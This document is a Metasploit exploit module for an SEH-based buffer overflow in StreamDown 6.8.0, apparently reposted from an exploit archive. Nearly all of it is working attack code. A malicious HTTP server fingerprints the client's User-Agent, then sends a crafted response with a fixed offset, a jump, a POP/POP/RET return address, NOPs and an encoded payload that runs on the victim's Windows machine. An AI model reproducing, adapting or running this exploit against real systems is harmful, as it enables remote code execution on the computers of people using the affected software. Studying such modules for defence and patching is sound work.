StreamDown 6.8.0 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'StreamDown 6.8.0 Buffer overflow',  
'Description' => %q{  
Stream Down 6.8.0 seh based buffer overflow triggered when processing  
the server reponse packet.During the overflow a structured exception  
handler is overwritten.  
},  
'Author' => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>',  
'References' =>  
[  
['OSVDB', '78043'],  
['BID', '51190'],  
['URL', 'http://www.dark-masters.tk/'],  
['URL', 'http://secunia.com/advisories/47343/'],  
['URL', 'http://www.exploit-db.com/exploits/18283/']  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0a"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'StreamDown 6.8.0',  
{  
'Offset' => 16388,  
'Ret' => 0x10019448 #POP/POP/RET in DownloadMng.dll  
}  
],  
],  
'DefaultTarget' => 0,  
'License' => MSF_LICENSE  
))  
end  
  
def on_request_uri(cli,request)  
vprint_status("#{cli.peerhost}:#{cli.peerport} requested: #{request.uri}")  
  
# No point to continue if the client isn't what we interested in  
ua = request.headers['User-Agent']  
if ua !~ /CoCSoft Stream Download/i  
print_error("Target not supported: #{ua}")  
send_not_found(cli)  
return  
end  
  
nseh = "\xeb\x06" + rand_text_alpha(2)  
seh = [target.ret].pack('V')  
offset_to_nseh = target['Offset']  
nops = make_nops(10)  
sploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded  
cli.put(sploit)  
close_client(cli)  
end  
end  
`